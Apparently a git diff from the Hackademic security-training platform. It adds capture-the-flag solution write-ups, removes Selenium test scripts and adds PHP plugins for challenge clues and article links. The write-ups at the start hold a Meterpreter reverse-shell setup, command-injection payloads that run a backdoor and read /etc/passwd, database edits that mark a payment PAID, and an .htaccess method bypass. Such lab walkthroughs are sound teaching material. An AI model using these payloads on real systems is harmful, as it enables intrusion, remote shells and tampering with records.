php/meterpreter/reverse_tcp +show options +set LHOST 192.168.0.104 +set LPORT 4444 + +exploit + +now let's execute our backdoor.php +searchfield : 11.1.1.11 || php -f backdoor.php + +and u'll get the meterpreter session started on ur armitage.. gaining access to the server.. let's do our work now :D + + +echo "show databases;" | mysql -u root --password=password //gives all the databases.. we need TripDawki +echo "select * from TripDawki.students;" | mysql -u root --password=password //select that database +echo "UPDATE TripDawki.students set payment='PAID' where id=15;" | mysql -u root --password=password //our target change the payment mode to PAID + +DONE !! + +play around with the server YOU have REMOTE access to it. + +HOPE you enjoyed this challenge !!! diff --git a/solution/ch046_solution.txt b/solution/ch046_solution.txt new file mode 100644 index 00000000..da6e4823 --- /dev/null +++ b/solution/ch046_solution.txt @@ -0,0 +1,40 @@ +Challenge 046 : Medium Level command injection + +It's a simple web page that converts to sha256 prolly +let's try some random inputs + +try me || uname -a +;ls -al +try me; ls + +notice carefully at the end there is "-" sign which is linuxcli md5sum program (Google it) +it gives us the idea that command at the backend is something like : echo "string" | sha256sum + + +GET /index.php?string=try : (try) + 95fdbdf2fea4b306d059facf26c18d94cb190189a3221008eca14c5dd0b0fce1 - + +GET /index.php?string=lol;%20try : (lol; try) + e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 - + +GET /index.php?string=lol;%20echo%20try : (lol; echo try) + 95fdbdf2fea4b306d059facf26c18d94cb190189a3221008eca14c5dd0b0fce1 - + +The output of 1 and 3 is same, so it does mean that +the command goes like +echo lol; echo try | sha56sum .. so it prints lol first and then applies sha256sum on try + +so, command injection is possible :D + +let's try : try me;ls -al; something + lol%3Bls%20-al;echo+try + +it will list all the files in that directory.. and there's ur file : EPL.txt + +get value : lol%3Bcat%20EPL.txt;echo+try +get request : test;%20cat%20/etc/passwd;%20something +cat file EPL.txt to get the flag i.e. : thenew_flag + +you can play around now leading this to Remote Code Execution on the main server.. there might be something more hidden on it ;) + + diff --git a/solution/ch048_solution.txt b/solution/ch048_solution.txt new file mode 100755 index 00000000..9516309e --- /dev/null +++ b/solution/ch048_solution.txt @@ -0,0 +1,61 @@ +Challenge 048 : Medium CTF Challenge + +Welcome to CTF. +Looks like a simple page with simple source, usually simple pages have most things hidden in them. +Complete White Background Suspicious + +CTRL + A page and scroll down u notice a hint there hidden.. shows "robots.txt" +OR you can also scroll down the source page and get that hint. + +User-agent: * +Disallow: /dir/indexX.php //suspiciuos page + +User-agent: * +Disallow: /inside/submit.php //submit flag page + +/inside/submit.php : checking this directory out nothing here, this page is to submit the flag +/dir/ directory too, nthing here except +/dir/indexX.php : says protected area, enter the site : +asks for username and password saying : Protected Area !! +admin:admin admin:pass doesnt works so surely, it's not made for guessing + +this page heads to /dir/secret/ okay.. but we dont have the username and password for it. + +This authentication might be of .htaccess file so let's use curl to check out request methods allowed and use different http methods to this /secret dir. + +curl -X OPTIONS -v http://locahost:8008/dir/secret : we can see all methods are allowed +let's use GET for checking and it gives 200 OK !! WOhhhhh Bypassed !!! + +So, the fault in .htaccess file is that.. it just limits and authenticates on POST http method request. + +so if u just type or reload url : http://localhost:8008/dir/secret/ you will be able to access the page :D + +Good one Wats Next.. It's not as easy as it looks 0_0 + +(White Background always makes me suspicious) +CTRAL + A --> gives me that "It's not as easy as it looks" is an image okay, +let's check out the susp image directory +http://localhost:8008/dir/secret/images/its.jpg + +there's another file in images/ : image.jpeg +which contains "errors" so let's check out these "errors" save this file first. + +image.jpeg +view contents using "strings image.jpeg" or cat or gedit.. it shows.. some random strings.. n also s string name "sec.wav" might be an audio file +using "file image.jpeg" u'll see that it gives zip archive, kk so this a zip file + +rename "image.jpeg" --> "image.zip" +extract it : u'll get a wav audio file.. named sec.wav let's check this out +audio is kind of random, might have something hidden inside it, steganography. +Google out Steganography if u've never heard of this term. + +let's figure this audio using Sonic Visualiser +looks like a simple audio file.. let's add sprectrogram filter and there you go --> PIKACHU + +so, this was an image file that was rendered blue and then converted to audio file :D + +so the flag is : PIKACHU + +Successful !!! + +Hope You Learned Some new things and Enjoyed this Challenge !!! diff --git a/unit_tests/selenium/Case1_Filling_the_Database b/unit_tests/selenium/Case1_Filling_the_Database deleted file mode 100644 index 842b9c2b..00000000 --- a/unit_tests/selenium/Case1_Filling_the_Database +++ /dev/null @@ -1,367 +0,0 @@ - - - - - - -Case1_Filling_the_Database - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Case1_Filling_the_Database
open/hackademic/
typename=usernameadmin
typeid=passwordadmin
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitcss=img.action_image
typename=usernameadmin2
typename=full_nameadmin2
typeid=emailadmin2@hackademic.org
typeid=passwordadmin2
typename=confirmpasswordadmin2
clickname=activated
selectname=typelabel=Admin
clickAndWaitid=submit
clickAndWaitlink=Add User
typename=usernamea
typename=full_namea
typeid=emaila@hackademic.org
typeid=passworda
typename=confirmpassworda
clickname=activated
clickAndWaitid=submit
clickAndWaitlink=Add User
typename=usernameb
typename=full_nameb
typeid=emailb@hackademic.org
typeid=passwordb
typename=confirmpasswordb
clickname=activated
clickAndWaitid=submit
clickAndWaitlink=Add User
typename=usernamec
typename=full_namec
typeid=emailc@hackademic.org
typeid=passwordc
typename=confirmpasswordc
clickname=activated
clickAndWaitid=submit
clickAndWaitcss=img.action_image
typename=usernamed
typename=full_named
typeid=emaild@hackademic.org
typeid=passwordd
typename=confirmpasswordd
clickname=activated
clickAndWaitid=submit
clickAndWaitcss=img.action_image
typename=usernamee
typename=full_namee
typeid=emaile@hackademic.org
typeid=passwordd
typename=confirmpasswordd
clickname=activated
clickAndWaitid=submit
clickAndWaitlink=Add User
typename=usernamesensei
typename=full_namesensei
typeid=emailsensei@hackademic.org
typeid=passwordsensei
typename=confirmpasswordsensei
clickname=activated
selectname=typelabel=Teacher
clickAndWaitid=submit
clickAndWait//div[@id='content']/div[3]/div/div[2]/table/tbody/tr/td[2]/div/a/img
typename=classnamesample class
clickAndWaitid=submit
clickAndWaitcss=img.action_image
typename=classnamesample2 class
clickAndWaitid=submit
clickAndWaitlink=Logout
- - diff --git a/unit_tests/selenium/Case2_Class_Memberships b/unit_tests/selenium/Case2_Class_Memberships deleted file mode 100644 index 8157a4fb..00000000 --- a/unit_tests/selenium/Case2_Class_Memberships +++ /dev/null @@ -1,142 +0,0 @@ - - - - - - -Case2_Class_Memberships - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Case2_Class_Memberships
open/hackademic/
typename=usernameadmin
typeid=passwordadmin
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitxpath=(//a[contains(text(),'Edit')])[3]
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitxpath=(//a[contains(text(),'Edit')])[4]
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitxpath=(//a[contains(text(),'Edit')])[5]
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitxpath=(//a[contains(text(),'Edit')])[6]
selectname=class_idlabel=sample2 class
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitxpath=(//a[contains(text(),'Edit')])[7]
selectname=class_idlabel=sample2 class
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitxpath=(//a[contains(text(),'Edit')])[8]
clickAndWaitid=submit
clickAndWaitlink=Logout
- - diff --git a/unit_tests/selenium/Case3.5_Deleting_User b/unit_tests/selenium/Case3.5_Deleting_User deleted file mode 100644 index 05c4592e..00000000 --- a/unit_tests/selenium/Case3.5_Deleting_User +++ /dev/null @@ -1,57 +0,0 @@ - - - - - - -Case3 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Case3
open/hackademic/
typename=usernameadmin
typeid=passwordadmin
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitlink=g
clickAndWaitid=deletesubmit
clickAndWaitlink=Logout
- - diff --git a/unit_tests/selenium/Case3_Registring_User b/unit_tests/selenium/Case3_Registring_User deleted file mode 100644 index e7576e04..00000000 --- a/unit_tests/selenium/Case3_Registring_User +++ /dev/null @@ -1,57 +0,0 @@ - - - - - - -Case3_Registring_User - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Case3_Registring_User
open/hackademic/
clickAndWaitlink=Create an account
typename=usernameg
typename=full_nameg
typeid=emailg@hackademic.org
typeid=passwordg
typename=confirmpasswordg
clickAndWaitid=submit
- - diff --git a/unit_tests/selenium/Case4_Activating_User b/unit_tests/selenium/Case4_Activating_User deleted file mode 100644 index 153f3ab0..00000000 --- a/unit_tests/selenium/Case4_Activating_User +++ /dev/null @@ -1,62 +0,0 @@ - - - - - - -Case4_Activating_User - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Case4_Activating_User
open/hackademic/
typename=usernameadmin
typeid=passwordadmin
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitlink=g
clickname=is_activated
clickAndWaitid=submit
clickAndWaitlink=Logout
- - diff --git a/unit_tests/selenium/Case5_Deleting_User b/unit_tests/selenium/Case5_Deleting_User deleted file mode 100644 index a8fa1151..00000000 --- a/unit_tests/selenium/Case5_Deleting_User +++ /dev/null @@ -1,57 +0,0 @@ - - - - - - -Case5_Deleting_User - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Case5_Deleting_User
open/hackademic/
typename=usernameadmin
typeid=passwordadmin
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitlink=g
clickAndWaitid=deletesubmit
clickAndWaitlink=Logout
- - diff --git a/unit_tests/selenium/Case6_Editing_User_Data b/unit_tests/selenium/Case6_Editing_User_Data deleted file mode 100644 index 3187005c..00000000 --- a/unit_tests/selenium/Case6_Editing_User_Data +++ /dev/null @@ -1,197 +0,0 @@ - - - - - - -Case6_Editing_User_Data - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Case6_Editing_User_Data
open/hackademic/
typename=usernameadmin
typeid=passwordadmin
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitlink=a
typeid=emailanotheruser@hackademic.org
typeid=passwordan
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitlink=b
clickxpath=(//input[@name='is_activated'])[2]
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitlink=c
selectname=typelabel=Teacher
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitlink=b
clickname=is_activated
clickAndWaitid=submit
clickAndWaitlink=Users/Classes
clickAndWaitlink=admin2
clickAndWaitid=deletesubmit
clickAndWaitlink=Users/Classes
clickAndWaitcss=img.action_image
typename=usernameadmin2
typename=full_nameadmin2
typeid=emailadmin2@hackademic.org
typeid=passwordadmin2
typename=confirmpasswordadmin2
clickname=activated
selectname=typelabel=Teacher
selectname=typelabel=Admin
clickAndWaitid=submit
clickAndWaitlink=Logout
- - diff --git a/unit_tests/selenium/Case7_Editing_Challenges b/unit_tests/selenium/Case7_Editing_Challenges deleted file mode 100644 index 69a43847..00000000 --- a/unit_tests/selenium/Case7_Editing_Challenges +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - -dsf - - - - - - -
dsf
- - diff --git a/unit_tests/selenium/Hachademic b/unit_tests/selenium/Hachademic deleted file mode 100644 index 58d6c5a4..00000000 --- a/unit_tests/selenium/Hachademic +++ /dev/null @@ -1,20 +0,0 @@ - - - - - - Test Suite - - - - - - - - - - - -
Test Suite
Case1_Filling_the_Database
Case2_Class_Memberships
Case3_Registring_User
Case4_Activating_User
Case5_Deleting_User
Case6_Editing_User_Data
Case7_Editing_Challenges
- - diff --git a/unit_tests/selenium/README b/unit_tests/selenium/README deleted file mode 100644 index ad63262c..00000000 --- a/unit_tests/selenium/README +++ /dev/null @@ -1,32 +0,0 @@ -This is a list of automated user cases you can run on hackademic. -The cases, if run sequentially, log in with administrative rights then they fill the database with teachers and students. -They make changes and the delete evrything. - -This directory also contains a test suit named Hackademic that will run all the tests sequentially. - -In order to run the tests: -1/ you need to install Selenium IDE. -2.1/ You need to either create an admin account with username and password set to "admin" (we strongly recommend to disconnect from the Internet while you run the tests and delete this account afterwards) -2.2/ OR you can modify the test and change the admin usernames and passwords to your credentials. -3/ Everything created in those tests will be automatically deleted, although we recommend to erase any left-over tables from the database. - -Automated tests - -In every test the admin loges in and then logs out. If a test fails it is essential that you log out the admin before re-trying it. -I recommend that you have phpmyadmin open on a second tab in order to erase any left-over tables from the database before re-trying the tests. - -Case 1: Filling the database. This case will create 1 more admin, 1 professor, 5 students and 2 classes. - -Case 2: Add users to classes. This Case will add the users created in Case1 into the Classes created in Case1. - -Case 3: Register Users. This is the case where a user is registering by himself. (It requires the Admin to activate him this will be case 4) - -Case 4: Activating User. In this Case the admin activates a registered user. - -Case 5: Deleting User. In this Case the admin deleted a user. - -Case 6: Editing User Data. In this Case the admin is editing the users data. Changes the username, password and email of user a, Deactivates user b, deletes and re-creates admin2 and re-activates user b. - -Case 7: Editing Challenges. In this case the chaleng's visibility is changed. - -challenge1 Private Private Published challenge2 Private Public Published challenge3 Public Private Published challenge4 Public Public not Published challenge5 Private Private not Published diff --git a/user/plugins/article-challenge-connect/article-challenge-connect.php b/user/plugins/article-challenge-connect/article-challenge-connect.php new file mode 100755 index 00000000..25201da2 --- /dev/null +++ b/user/plugins/article-challenge-connect/article-challenge-connect.php @@ -0,0 +1,160 @@ +tpl_vars['logged_in_user']->value; + $user_id = User::findByUserName($username)->id; + $smarty->assign('challenges', Challenge::getChallengesFrontend($user_id)); +} + +/** + * Fetches the challenges that are to be displayed on the + * add article page and sets the selected challenge id in the + * smarty template vars. + * + * @param $smarty + */ +function custom_uni_show_edit_article($smarty) { + $username = $smarty->tpl_vars['logged_in_user']->value; + $user_id = User::findByUserName($username)->id; + $smarty->assign('challenges', Challenge::getChallengesFrontend($user_id)); + $aid = $smarty->tpl_vars['article']->value->id; + $entry = ArticleChallengeModel::get($aid); + $smarty->assign('selected_cid', $entry['cid']); +} + +/** + * Creates a table when this plugin is enabled. + * + * @param $plugin the plugin that was enabled + */ +function custom_uni_enable_plugin($plugin) { + if($plugin == 'article-challenge-connect/article-challenge-connect.php') { + ArticleChallengeModel::createTable(); + } +} + +/** + * Adds challenges to the template that shows articles + * + * @param $smarty + */ +function custom_uni_show_article_manager($smarty) { + foreach($smarty->tpl_vars['articles']->value as $article) { + $row = ArticleChallengeModel::get($article->id); + $article->challenge = Challenge::getChallenge($row['cid']); + } +} + +// Add 'show' actions +Plugin::add_action('show_add_article', 'custom_uni_show_add_article', 10, 1); +Plugin::add_action('show_edit_article', 'custom_uni_show_edit_article', 10, 1); +Plugin::add_action('show_article_manager', 'custom_uni_show_article_manager', 10, 1); + +// Add 'CRUD' actions +Plugin::add_action('after_create_article', 'custom_uni_after_create_article', 10, 2); +Plugin::add_action('after_update_article', 'custom_uni_after_update_article', 10, 1); +Plugin::add_action('before_delete_article', 'custom_uni_before_delete_article', 10, 2); + +// Add action for enabling plugin +Plugin::add_action('enable_plugin', 'custom_uni_enable_plugin', 10, 1); + +// Add filter to set custom form template +Plugin::add_filter('set_admin_view_template', 'custom_uni_set_admin_view_template', 10, 1); + +/** + * Checks to see if the sub string is part of the original string + * + * @param $substring the substring you wish to look for + * @param $string the string to search for the sub string in + * @return true if $substring is found, otherwise false + */ +function string_contains($substring, $string) { + $pos = strpos($string, $substring); + return $pos > -1 ? true : false; +} + +/** + * Debugging function for printing objects and arrays. + * + * @param $obj the object/array to print + */ +function pretty_print($obj) { + print '
';
+  print_r($obj);
+  print '
'; +} diff --git a/user/plugins/article-challenge-connect/articlemanager.tpl b/user/plugins/article-challenge-connect/articlemanager.tpl new file mode 100755 index 00000000..ab74de98 --- /dev/null +++ b/user/plugins/article-challenge-connect/articlemanager.tpl @@ -0,0 +1,74 @@ +{include file="_header.tpl"} + + +
+
+

Article Manager

+

+ +
+
+ + + + + + + + + + +
Search: Sort By: + + Show: + + +

+
+
+
+ +
{include file="_usermessage.tpl"}
+
{include file="_pagination.tpl"}
+ + + + + + + + + + + + {foreach from=$articles item=article} + + + + + + + + + + {/foreach} +
TitleDate postedAuthorLast ModifiedLast modified byChallengesPublished
{$article->title}{$article->date_posted|date_format}{$article->created_by}{if $article->last_modified}{$article->last_modified|date_format}{else}-{/if}{if $article->last_modified}{$article->last_modified_by}{else}-{/if}{if $article->challenge}{$article->challenge->title|escape:'html'}{else}-{/if}{if $article->is_published}Yes{else}No{/if}
+ +
+{include file="_footer.tpl"} diff --git a/user/plugins/article-challenge-connect/class.ArticleChallengeModel.php b/user/plugins/article-challenge-connect/class.ArticleChallengeModel.php new file mode 100755 index 00000000..c29893fe --- /dev/null +++ b/user/plugins/article-challenge-connect/class.ArticleChallengeModel.php @@ -0,0 +1,107 @@ + $aid, + ':cid' => $cid + ); + $sql = "INSERT INTO article_challenge_connect(aid, cid) VALUES (:aid, :cid)"; + $db->create($sql, $params, self::$action_type); + } + + /** + * Gets cid from the database from the article specified by aid. + * + * @param $aid article id + * @return mixed row with cid + */ + public static function get($aid) { + global $db; + $params = array(':aid' => $aid); + $sql = "SELECT cid FROM article_challenge_connect WHERE aid = :aid"; + $row = $db->fetchArray($db->read($sql, $params, self::$action_type)); + return $row; + } + + /** + * Updates the cid in the database for the specific article. + * + * @param $aid article id + * @param $cid challenge id + */ + public static function update($aid, $cid) { + global $db; + $params = array( + ':aid' => $aid, + ':cid' => $cid + ); + $sql = "UPDATE article_challenge_connect SET cid = :cid WHERE aid = :aid"; + $db->update($sql, $params, self::$action_type); + } + + /** + * Deletes the row with the corresponding article id. + * + * @param $aid article id + */ + public static function delete($aid) { + global $db; + $params = array(':aid' => $aid); + $sql = $sql = "DELETE FROM article_challenge_connect WHERE aid = :aid"; + $db->delete($sql, $params, self::$action_type); + } + + /** + * Checks to see if the article has a challenge connected to it. + * + * @param $aid article id + * @return bool true if connected + */ + public static function exists($aid) { + global $db; + $params = array(':aid' => $aid); + $sql = "SELECT cid FROM article_challenge_connect WHERE aid = :aid"; + return $db->numRows($db->read($sql, $params, self::$action_type)) > 0; + } + + /** + * Creates the plugin's table if it does not already exist. + */ + public static function createTable() { + global $db; + $sql = "CREATE TABLE IF NOT EXISTS `article_challenge_connect` ( + `aid` int(11) NOT NULL, + `cid` int(11) NOT NULL, + PRIMARY KEY (`aid`), + FOREIGN KEY(`aid`) REFERENCES articles(`id`), + FOREIGN KEY(`cid`) REFERENCES challenges(`id`) + )"; + $db->query($sql); + } + +} \ No newline at end of file diff --git a/user/plugins/article-challenge-connect/editarticle.tpl b/user/plugins/article-challenge-connect/editarticle.tpl new file mode 100755 index 00000000..107fad7b --- /dev/null +++ b/user/plugins/article-challenge-connect/editarticle.tpl @@ -0,0 +1,99 @@ +{include file="_header.tpl"} + + +
+
+

Edit Article

+

+
{include file="_usermessage.tpl"}
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ {if $article->is_published} + yes + no + {else} + yes + no + {/if} +
+ +
+

+ +

+
+
+
+
+{include file="_footer.tpl"} diff --git a/user/plugins/article-challenge-connect/editor.tpl b/user/plugins/article-challenge-connect/editor.tpl new file mode 100755 index 00000000..566f4cbd --- /dev/null +++ b/user/plugins/article-challenge-connect/editor.tpl @@ -0,0 +1,88 @@ +{include file="_header.tpl"} + + +
+
+

Add New Article

+

+
{include file="_usermessage.tpl"}
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+ Yes + No +
+ +
+

+
+
+
+
+{include file="_footer.tpl"} \ No newline at end of file diff --git a/user/plugins/challenge-clues/addchallenge.tpl b/user/plugins/challenge-clues/addchallenge.tpl new file mode 100755 index 00000000..6e9c739d --- /dev/null +++ b/user/plugins/challenge-clues/addchallenge.tpl @@ -0,0 +1,175 @@ +{include file="_header.tpl"} + + + +
+
+

Add Challenge

+

+
{include file="_usermessage.tpl"}
+ {if isset($finish) || (isset($type) && $type=="challenge") || (isset($step) && $step=="step2")} +
+
+ {if isset($finish) || (isset($type) && $type=="challenge")} +

+ {else} +

+ {/if} + +

+
+
+ {else} +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+










+

+
+

+ + +

+
+

+
+
+
+ {/if} +
+{include file="_footer.tpl"} diff --git a/user/plugins/challenge-clues/challenge-clues.php b/user/plugins/challenge-clues/challenge-clues.php new file mode 100755 index 00000000..337a1462 --- /dev/null +++ b/user/plugins/challenge-clues/challenge-clues.php @@ -0,0 +1,223 @@ +tpl_vars['challenge']->value->id; + $clues = Clue::getClues($challenge_id); + $smarty->assign('clues', $clues); +} + +/** + * Retrieves the clues of a challenge to display them for the student. + * @param $smarty the smarty object + */ +function challenge_clues_show_challenge($smarty) { + $user_id = Session::getLoggedInUserId(); + + if(isset($_POST['clue']) && is_numeric($_POST['clue'])) { + // The student asked to see a clue. + $openedClue = Clue::getEnabledClue($_POST['clue']); + if($openedClue != null) { + UserCluesModel::addClue($user_id, $openedClue); + } + } + + $challenge_id = $smarty->tpl_vars['challenge']->value->id; + $clues = Clue::getEnabledClues($challenge_id); + UserCluesModel::markOpenedClues($user_id, $clues); + $smarty->assign('clues', $clues); +} + +/** + * Adds the clues if any to the clue table. + * @param $challenge_id the id of the challenge + * @param $params the params to the query + */ +function challenge_clues_after_create_challenge($challenge_id, $params) { + for($i=0; $i<$_POST['nb_clues']; $i++) { + $clue = new Clue(); + $clue->id = $_POST['id']; + $clue->clue_text = $_POST['clue_text']; + $clue->penalty = $_POST['penalty']; + $clue->enabled = isset($_POST['enabled']) && $_POST['enabled']; + $clue->challenge = $challenge_id; + Clue::addClue($clue); + } +} + +/** + * Adds the penalty to the student's score. + * @param $score_id the id of the score + * @param $params the params to the query + */ +function challenge_clues_after_create_user_score($score_id, $params) { + $score = UserScore::get_user_score($score_id); + $clues = Clue::getClues($score->challenge_id); + UserCluesModel::markOpenedClues($score->user_id, $clues); + foreach ($clues as $clue) { + if($clue->opened && strpos($score->penalties_bonuses, 'clue'.$clue->id) === false) { + $score->points -= $clue->penalty; + $score->penalties_bonuses .= 'clue'.$clue->id.','; + } + } + UserScore::update_user_score($score->id, $score->user_id, $score->challenge_id, $score->class_id, $score->points, $score->penalties_bonuses); +} + +/** + * Adds the penalty to the student's score. + * @param $params the params to the query + */ +function challenge_clues_after_update_user_score($params) { + challenge_clues_after_create_user_score($params[':id'], $params); +} + +/** + * Updates the clues of the challenge. + * @param $params the params to the query + */ +function challenge_clues_after_update_challenge($params) { + // Id of the clues still present (not deleted by the user). + $cluesId = array(); + $allClues = Clue::getCluesId($params[':id']); + + for($i=0; $i<$_POST['nb_clues']; $i++) { + $clue = new Clue(); + $clue->clue_text = $_POST['clue'.$i.'_text']; + $clue->penalty = $_POST['clue'.$i.'_penalty']; + $clue->enabled = $_POST['clue'.$i.'_state'] == 'enabled'; + $clue->challenge = $params[':id']; + + if(isset($_POST['clue'.$i.'_id']) && $_POST['clue'.$i.'_id']!='') { + // Updates the clue: + $clue->id = $_POST['clue'.$i.'_id']; + Clue::updateClue($clue); + $cluesId[] = $clue->id; + } else { + // Adds the new clue: + Clue::addClue($clue); + } + } + + // Deletes the clues deleted by the user from the database: + $deletedClues = array_diff($allClues, $cluesId); + foreach($deletedClues as $id) { + Clue::deleteClue($id); + } +} + +/** + * Deletes the clues from the user-clues table, + * then deletes the clues from the clue table. + * This must be done before the challenge is + * deleted to preserve the foreign key constraint. + * @param $sql the base sql query + * @param $params the params to the query + */ +function challenge_clues_before_delete_challenge($sql, $params) { + UserCluesModel::deleteClue($params[':id']); + Clue::deleteClue($params[':id']); +} + +/** + * Deletes the user from the user-clues table before the user table + * to make sure the foreign key constraint is not broken. + * @param $sql the base sql query + * @param $params the params to the query + */ +function challenge_clues_before_delete_user($sql, $params) { + UserCluesModel::deleteUser($params[':id']); +} + +/** + * Creates two tables when this plugin is enabled. + * @param $plugin the plugin that was enabled + */ +function challenge_clues_enable_plugin($plugin) { + if($plugin == 'challenge-clues/challenge-clues.php') { + $host = DB_HOST; + $dbname = DB_NAME; + $user = DB_USER; + $pass = DB_PASSWORD; + try { + $connection = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass); + } catch(PDOException $e) { + echo $e->getMessage(); + die(); + } + $connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); + $connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); + + $sqlQueries = file_get_contents('user/plugins/challenge-clues/install-plugin.sql'); + $connection->exec($sqlQueries); + } +} + +// Adds 'show' actions +Plugin::add_action('show_edit_challenge', 'challenge_clues_show_edit_challenge', 10, 1); +Plugin::add_action('show_show_challenge', 'challenge_clues_show_challenge', 10, 1); + +// Adds 'CRUD' actions +Plugin::add_action('after_create_challenge', 'challenge_clues_after_create_challenge', 10, 2); +Plugin::add_action('after_update_challenge', 'challenge_clues_after_update_challenge', 10, 1); +Plugin::add_action('before_delete_challenge', 'challenge_clues_before_delete_challenge', 10, 2); +Plugin::add_action('before_delete_user', 'challenge_clues_before_delete_user', 10, 2); +Plugin::add_action('after_create_user_score', 'challenge_clues_after_create_user_score', 10, 1); +Plugin::add_action('after_update_user_score', 'challenge_clues_after_update_user_score', 10, 1); + +// Adds action for enabling plugin +Plugin::add_action('enable_plugin', 'challenge_clues_enable_plugin', 10, 1); + +// Adds filter to set custom form template +Plugin::add_filter('set_admin_view_template', 'challenge_clues_set_admin_view_template', 10, 1); +Plugin::add_filter('set_view_template', 'challenge_clues_set_view_template', 10, 1); + +/** + * Checks to see if the sub string is part of the original string + * + * @param $substring the substring you wish to look for + * @param $string the string to search for the sub string in + * @return true if $substring is found, otherwise false + */ +function string_contains($substring, $string) { + $pos = strpos($string, $substring); + return $pos > -1 ? true : false; +} \ No newline at end of file diff --git a/user/plugins/challenge-clues/class.Clue.php b/user/plugins/challenge-clues/class.Clue.php new file mode 100755 index 00000000..7005e1ce --- /dev/null +++ b/user/plugins/challenge-clues/class.Clue.php @@ -0,0 +1,147 @@ + $challenge_id); + $sql = "SELECT id, clue_text, penalty, enabled FROM clues WHERE challenge = :challenge_id"; + $clues = array(); + $statement_handle = $db->read($sql, $params, self::$action_type); + while($row = $db->fetchArray($statement_handle)) { + $clue = new Clue(); + $clue->challenge = $challenge_id; + $clue->id = $row['id']; + $clue->clue_text = $row['clue_text']; + $clue->penalty = $row['penalty']; + $clue->enabled = $row['enabled']; + $clues[] = $clue; + } + return $clues; + } + + /** + * Gets clues from the database from the challenge specified challenge_id. + * @param $clue_id The clue id. + * @return The clue objects. + */ + public static function getEnabledClue($clue_id) { + global $db; + $params = array(':clue_id' => $clue_id); + $sql = "SELECT * FROM clues WHERE enabled AND id = :clue_id"; + $clue = null; + $statement_handle = $db->read($sql, $params, self::$action_type); + if($row = $db->fetchArray($statement_handle)) { + $clue = new Clue(); + $clue->challenge = $row['challenge']; + $clue->id = $clue_id; + $clue->clue_text = $row['clue_text']; + $clue->penalty = $row['penalty']; + $clue->enabled = $row['enabled']; + } + return $clue; + } + + /** + * Gets clues from the database from the challenge specified challenge_id. + * @param $challenge_id The challenge id. + * @return The clue objects. + */ + public static function getEnabledClues($challenge_id) { + global $db; + $params = array(':challenge_id' => $challenge_id); + $sql = "SELECT id, clue_text, penalty, enabled FROM clues WHERE enabled AND challenge = :challenge_id"; + $clues = array(); + $statement_handle = $db->read($sql, $params, self::$action_type); + while($row = $db->fetchArray($statement_handle)) { + $clue = new Clue(); + $clue->challenge = $challenge_id; + $clue->id = $row['id']; + $clue->clue_text = $row['clue_text']; + $clue->penalty = $row['penalty']; + $clue->enabled = $row['enabled']; + $clues[] = $clue; + } + return $clues; + } + + /** + * Gets clues' id from the database from the challenge specified challenge_id. + * @param $challenge_id The challenge id. + * @return The id of the clues. + */ + public static function getCluesId($challenge_id) { + global $db; + $params = array(':challenge_id' => $challenge_id); + $sql = "SELECT id FROM clues WHERE challenge = :challenge_id"; + $clues = array(); + $statement_handle = $db->read($sql, $params, self::$action_type); + while($row = $db->fetchArray($statement_handle)) { + $clues[] = $row['id']; + } + return $clues; + } + + /** + * Adds a clue to the database. + * @param $clue The clue object. + */ + public static function addClue($clue) { + global $db; + $params = array( + ':challenge' => $clue->challenge, + ':clue_text' => $clue->clue_text, + ':penalty' => $clue->penalty, + ':enabled' => $clue->enabled + ); + $sql = "INSERT INTO clues(challenge, clue_text, penalty, enabled) VALUES (:challenge, :clue_text, :penalty, :enabled)"; + $db->create($sql, $params, self::$action_type); 